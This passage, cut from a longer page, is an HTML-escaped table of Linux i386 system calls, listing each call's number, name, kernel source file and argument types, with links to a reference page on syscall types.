*&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;sys_creat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;sys_link&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/namei.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;sys_unlink&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/namei.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;sys_execve&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/process.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pt_regs"&gt;struct pt_regs&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;sys_chdir&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;/td&gt;&lt;td&gt;sys_time&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/time.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;sys_mknod&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/namei.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#dev_t"&gt;dev_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;sys_chmod&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#mode_t"&gt;mode_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;16&lt;/td&gt;&lt;td&gt;sys_lchown&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;18&lt;/td&gt;&lt;td&gt;sys_stat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/stat.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__old_kernel_stat"&gt;struct __old_kernel_stat *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;sys_lseek&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/read_write.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#off_t"&gt;off_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;20&lt;/td&gt;&lt;td&gt;sys_getpid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;21&lt;/td&gt;&lt;td&gt;sys_mount&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/super.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;char *&lt;/td&gt;&lt;td&gt;char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;22&lt;/td&gt;&lt;td&gt;sys_oldumount&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/super.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;23&lt;/td&gt;&lt;td&gt;sys_setuid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;24&lt;/td&gt;&lt;td&gt;sys_getuid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;25&lt;/td&gt;&lt;td&gt;sys_stime&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/time.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;26&lt;/td&gt;&lt;td&gt;sys_ptrace&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/ptrace.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;long&lt;/td&gt;&lt;td&gt;long&lt;/td&gt;&lt;td&gt;long&lt;/td&gt;&lt;td&gt;long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;27&lt;/td&gt;&lt;td&gt;sys_alarm&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;28&lt;/td&gt;&lt;td&gt;sys_fstat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/stat.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__old_kernel_stat"&gt;struct __old_kernel_stat *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;29&lt;/td&gt;&lt;td&gt;sys_pause&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;30&lt;/td&gt;&lt;td&gt;sys_utime&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#utimbuf"&gt;struct utimbuf *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;33&lt;/td&gt;&lt;td&gt;sys_access&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;34&lt;/td&gt;&lt;td&gt;sys_nice&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;36&lt;/td&gt;&lt;td&gt;sys_sync&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/buffer.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;37&lt;/td&gt;&lt;td&gt;sys_kill&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;38&lt;/td&gt;&lt;td&gt;sys_rename&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/namei.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;39&lt;/td&gt;&lt;td&gt;sys_mkdir&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/namei.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;40&lt;/td&gt;&lt;td&gt;sys_rmdir&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/namei.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;41&lt;/td&gt;&lt;td&gt;sys_dup&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/fcntl.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;42&lt;/td&gt;&lt;td&gt;sys_pipe&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;43&lt;/td&gt;&lt;td&gt;sys_times&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#tms"&gt;struct tms *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;45&lt;/td&gt;&lt;td&gt;sys_brk&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mmap.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;46&lt;/td&gt;&lt;td&gt;sys_setgid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;47&lt;/td&gt;&lt;td&gt;sys_getgid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;48&lt;/td&gt;&lt;td&gt;sys_signal&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__sighandler_t"&gt;__sighandler_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;49&lt;/td&gt;&lt;td&gt;sys_geteuid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;50&lt;/td&gt;&lt;td&gt;sys_getegid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;51&lt;/td&gt;&lt;td&gt;sys_acct&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/acct.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;52&lt;/td&gt;&lt;td&gt;sys_umount&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/super.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;54&lt;/td&gt;&lt;td&gt;sys_ioctl&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/ioctl.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;55&lt;/td&gt;&lt;td&gt;sys_fcntl&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/fcntl.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;57&lt;/td&gt;&lt;td&gt;sys_setpgid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;59&lt;/td&gt;&lt;td&gt;sys_olduname&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#oldold_utsname"&gt;struct oldold_utsname *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;60&lt;/td&gt;&lt;td&gt;sys_umask&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;61&lt;/td&gt;&lt;td&gt;sys_chroot&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;62&lt;/td&gt;&lt;td&gt;sys_ustat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/super.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#dev_t"&gt;dev_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#ustat"&gt;struct ustat *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;63&lt;/td&gt;&lt;td&gt;sys_dup2&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/fcntl.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;64&lt;/td&gt;&lt;td&gt;sys_getppid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sched.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;65&lt;/td&gt;&lt;td&gt;sys_getpgrp&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;66&lt;/td&gt;&lt;td&gt;sys_setsid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;67&lt;/td&gt;&lt;td&gt;sys_sigaction&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;const &lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_sigaction"&gt;struct old_sigaction *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_sigaction"&gt;struct old_sigaction *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;68&lt;/td&gt;&lt;td&gt;sys_sgetmask&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;69&lt;/td&gt;&lt;td&gt;sys_ssetmask&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;70&lt;/td&gt;&lt;td&gt;sys_setreuid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;71&lt;/td&gt;&lt;td&gt;sys_setregid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;72&lt;/td&gt;&lt;td&gt;sys_sigsuspend&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_sigset_t"&gt;old_sigset_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;73&lt;/td&gt;&lt;td&gt;sys_sigpending&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_sigset_t"&gt;old_sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;74&lt;/td&gt;&lt;td&gt;sys_sethostname&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;75&lt;/td&gt;&lt;td&gt;sys_setrlimit&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#rlimit"&gt;struct rlimit *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;76&lt;/td&gt;&lt;td&gt;sys_getrlimit&lt;/td&gt;&lt;td&gt;&lt;a 